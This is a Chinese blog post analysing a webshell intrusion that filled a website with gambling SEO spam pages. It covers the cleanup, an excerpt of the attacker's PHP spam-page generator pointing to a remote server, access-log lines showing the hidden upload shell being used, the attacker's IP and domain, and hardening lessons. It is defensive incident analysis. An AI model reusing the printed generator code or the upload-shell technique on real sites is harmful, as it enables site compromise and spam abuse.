SHELL站群入侵分析

By | 2015/08/24

由于采用的整站程序存在各种未知或已知的漏洞,站点经常被入侵。网站基本已普通企业站、wordpress为主,规模小、没有定向入侵的必要,一般都是黑产者被批量挂马的时候受到攻击,这也是最容易碰上的入侵原因。网上交流也都是怎么去入侵、挖掘漏洞等以介绍入侵为主,很少有人分享解决网站入侵的经验。断断续续处理了不少入侵,所以觉得有必要进行记录。由于是事后的,自己水平也有限,可能分析起来不那么透彻。但总归是个交流,等讨论的圈子大了,自然就会有更完整的分析。

这次介绍的“SHELL站群”还是很常见的,应该属于黑帽SEM,“SHELL站群”也是通过相关脚本提取的。此类入侵的表现是:在域名下面创建大量的垃圾页面,以推广自己的网站,内容多以博彩为主。以“SHELL站群”为关键词搜索,google有60w内容,百度有1kw内容,可知这种黑产还是很常见的。

下面开始记录此次的分析:

1.问题的发现

有一天,突然发现网站开始报数据库错误,登录服务器发现硬盘占满。分析后发现有大量的垃圾页面生成,确认被入侵。

2.问题的解决

既然被入侵了,为了恢复网站。首先人眼识别那些非正常的目录(明显无意义和自己不会用的目录名),进行删除。此时已经有了部分空间,硬盘满问题暂时解决。

这里推荐下阿D的webshell扫描,这次试了多个工具对网站进行webshell、垃圾文件的扫描,发现阿D的工具识别率最高,特别有效。根据阿D的扫描结果进行删除。

3.入侵分析

既然可以生成垃圾文件,肯定是有webshell了,所以网站存在上传之类的漏洞。清除了垃圾文件之后,开始对webshell进行查找,发现如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
header("Content-Type: text/html;charset=gb2312");
$Remote_server = "http://xxt.tswc918.com"; 
$directory_Number=6; 
 
$Branch_directory_1=getCode(mt_rand(3,5));
$Branch_directory_2=getCode(mt_rand(3,5));
$Branch_directory_3=getCode(mt_rand(3,5));
$Branch_directory_4=getCode(mt_rand(3,5));
$Branch_directory_5=getCode(mt_rand(3,5));
$Branch_directory_6=getCode(mt_rand(3,5));
$Branch_directory_7=getCode(mt_rand(3,5));
$Branch_directory_8=getCode(mt_rand(3,5));
$Branch_directory_9=getCode(mt_rand(3,5));
$Branch_directory_10=getCode(mt_rand(3,5));
 
$Branch_directory = $Branch_directory_1.".".$Branch_directory_2.".".$Branch_directory_3.".".$Branch_directory_4.".".$Branch_directory_5.".".$Branch_directory_6.".".$Branch_directory_7.".".$Branch_directory_8.".".$Branch_directory_9.".".$Branch_directory_10;
 
$NewFile_content = getFileCont("index.php");

可以基本判断以上脚本是所有垃圾页面的始祖,这样的页面共有两个,删除即可。但是此页面所在位置非上传目录,所以这并不是webshell本身,因此还存在隐藏的webshell。但是通过多个查杀软件还是无法发现。

好在这两个页面所在的目录比较特别,也是程序生成的,所以黑产者肯定需要访问这两个页面的。所以以目录名为搜索关键词,对日志进行搜索,发现了如下记录:

1
2
3
4
5
211.97.128.190 - - [20/Aug/2015:01:23:57 +0800] "POST //news/pics/20141121/340ab3e200856dbbb0cf8e8efd5fb8f8.php HTTP/1.1" 200 43 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98;myccs 1)baiduspider"
211.97.128.190 - - [20/Aug/2015:01:23:58 +0800] "POST //news/pics/20141121/340ab3e200856dbbb0cf8e8efd5fb8f8.php HTTP/1.1" 200 14 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98;myccs 1)baiduspider"
211.97.128.190 - - [20/Aug/2015:01:23:58 +0800] "POST //news/pics/20141121/340ab3e200856dbbb0cf8e8efd5fb8f8.php HTTP/1.1" 200 54 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98;myccs 1)baiduspider"
211.97.128.190 - - [20/Aug/2015:01:23:58 +0800] "GET /base/wlaim/online.php HTTP/1.1" 200 58 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98;myccs 1)baiduspider"
211.97.128.190 - - [20/Aug/2015:01:23:59 +0800] "GET /base/wlaim/index.php HTTP/1.1" 200 2884 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98;myccs 1)baiduspider"

这里面看到了关键信息,黑产者使用211.97.128.190的IP,POST访问了20141121/340ab3e200856dbbb0cf8e8efd5fb8f8.php下面的shell(根据目录可以判断程序有上传漏洞,对后缀过滤有问题),这个shell是zend加密的,所以各种杀软没有检测出来,通过这个shell又生成了shell站群程序。通过目录也知道被入侵已经很久了。然后通过ip查找,没有发现访问其他的文件。更多人肉的信息就不做了,根据域名应该还可以获取到不少信息的。

4.识别信息

1
2
http://xxt.tswc918.com
211.97.128.190

5.总结

1.权限设置是个问题,自己对于服务器写权限的设置还是没有做好。
2.缺少资源监控的工具,对服务器资源进行监控,可以提前发现这些问题。
3.要利用好360网站安全检测一类的工具,对网站安全还是很有用的。
4.安全无大小,太懒了就容易被入侵。服务器安装了一堆安全程序看看是否有效。

One thought on “SHELL站群入侵分析

发表评论

电子邮件地址不会被公开。

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据